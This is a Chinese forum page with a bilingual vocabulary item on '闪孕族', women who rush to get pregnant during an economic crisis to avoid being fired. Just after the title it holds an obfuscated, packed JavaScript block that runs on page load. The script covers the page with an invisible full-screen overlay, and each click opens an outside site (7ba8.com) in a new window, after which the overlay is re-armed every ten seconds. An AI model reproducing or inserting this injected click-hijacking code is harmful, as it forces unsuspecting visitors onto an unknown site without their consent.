头一次看到“闪孕族”这个英文表达 雷到

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>都说80后的青年男女都流行“闪婚”,这个势头还没有过去,又来了一个“闪孕”的趋势。据说是好多女白领担心在经济危机期间丢了工作而采取的应对措施。可是,令人有点不解的是,下一次经济危机的时候她们怎么办呢?


They are female white-collar workers. They didn't have any plan to have a child until the economic crisis struck. Then they decided to get pregnant - as quickly as possible.
在这个群族之列的都是女性白领员工。她们一直没有生育计划,而经济危机来临的时候,她们突然决定要快速怀孕。
They are afraid of getting fired. China's labor law stipulates that a company should not fire a pregnant employee unless the company is insolvent. "Get pregnant as soon as possible" became a mantra at the height of the economic crisis. Indeed, so many female employees made this choice that they were collectively dubbed "the rush-to-get-pregnant tribe".
因为她们怕被炒鱿鱼。我国劳动法规定除破产情况以外,公司不得解雇怀孕员工。这使得“尽快怀孕”成了经济危机高涨时的一个护身符。因为有很多女性员工选择快速怀孕,所以就出现了一个新的群体,被称为“闪孕族”。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部